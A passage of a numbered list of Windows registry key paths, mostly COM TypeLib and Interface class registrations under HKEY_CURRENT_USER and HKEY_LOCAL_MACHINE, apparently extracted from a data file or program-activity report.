  330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  331. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D",
  332. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0",
  333. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\(Default)",
  334. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\FLAGS",
  335. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\FLAGS\\(Default)",
  336. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\0",
  337. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\0\\win32",
  338. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\0\\win32\\(Default)",
  339. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\HELPDIR",
  340. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\HELPDIR\\(Default)",
  341. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Wow6432Node\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB\\(Default)",
  342. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0",
  343. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\(Default)",
  344. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\FLAGS",
  345. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\FLAGS\\(Default)",
  346. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\0",
  347. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\0\\win32",
  348. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\0\\win32\\(Default)",
  349. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\HELPDIR",
  350. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\5528490E-8C86-47F5-AD6E-6988627BF41D\\2.0\\HELPDIR\\(Default)",
  351. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB",
  352. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB\\(Default)",
  353. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB",
  354. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB\\(Default)",
  355. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69",
  356. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69\\(Default)",
  357. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69",
  358. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69\\(Default)",
  359. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074",
  360. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074\\(Default)",
  361. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074",
  362. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074\\(Default)",
  363. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074",
  364. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074\\(Default)",
  365. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074",
  366. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074\\(Default)",
  367. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074",
  368. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074\\(Default)",
  369. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074",
  370. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074\\(Default)",
  371. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074",
  372. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074\\(Default)",
  373. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074",
  374. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074\\(Default)",
  375. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074",
  376. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074\\(Default)",
  377. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074",
  378. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074\\(Default)",
  379. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF",
  380. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  381. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF",
  382. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  383. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF",
  384. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  385. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF",
  386. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  387. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01",
  388. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01\\(Default)",
  389. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01",
  390. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01\\(Default)",
  391. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF",
  392. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  393. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF",
  394. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  395. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29",
  396. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29\\(Default)",
  397. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29",
  398. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29\\(Default)",
  399. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B",
  400. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B\\(Default)",
  401. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B",
  402. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B\\(Default)",
  403. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01",
  404. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01\\(Default)",
  405. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01",
  406. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01\\(Default)",
  407. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF",
  408. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  409. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF",
  410. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  411. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF",
  412. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  413. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF",
  414. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  415. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3",
  416. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  417. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3",
  418. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  419. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3",
  420. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  421. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3",
  422. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  423. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3",
  424. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  425. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3",
  426. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  427. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3",
  428. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  429. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3",
  430. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  431. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3",
  432. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  433. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3",
  434. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  435. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3",
  436. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  437. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3",
  438. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  439. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF",
  440. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  441. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF",
  442. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  443. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080",
  444. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080\\(Default)",
  445. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080",
  446. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080\\(Default)",
  447. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080",
  448. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080\\(Default)",
  449. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080",
  450. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080\\(Default)",
  451. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF",
  452. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  453. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF",
  454. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  455. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776",
  456. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  457. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776",
  458. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  459. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C599243-6926-101B-9992-00000B65C6F9",
  460. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C599243-6926-101B-9992-00000B65C6F9\\(Default)",
  461. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C599243-6926-101B-9992-00000B65C6F9",
  462. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C599243-6926-101B-9992-00000B65C6F9\\(Default)",
  463. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D",
  464. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  465. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D",
  466. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  467. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D",
  468. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  469. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D",
  470. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  471. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D",
  472. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  473. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D",
  474. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  475. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D",
  476. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  477. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D",
  478. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  479. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D",
  480. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  481. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D",
  482. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  483. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D",
  484. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  485. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D",
  486. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  487. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D",
  488. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  489. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D",
  490. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  491. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D",
  492. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  493. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D",
  494. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  495. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D",
  496. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  497. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D",
  498. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  499. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D",
  500. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  501. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D",
  502. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  503. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0",
  504. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0\\(Default)",
  505. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0",
  506. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0\\(Default)",
  507. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F",
  508. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  509. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F",
  510. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  511. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3",
  512. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  513. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3",
  514. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  515. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3",
  516. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  517. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3",
  518. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  519. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3",
  520. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  521. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3",
  522. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  523. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3",
  524. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  525. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3",
  526. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  527. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3",
  528. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  529. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3",
  530. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  531. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3",
  532. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  533. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3",
  534. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  535. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F",
  536. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  537. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F",
  538. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  539. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F",
  540. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  541. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F",
  542. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
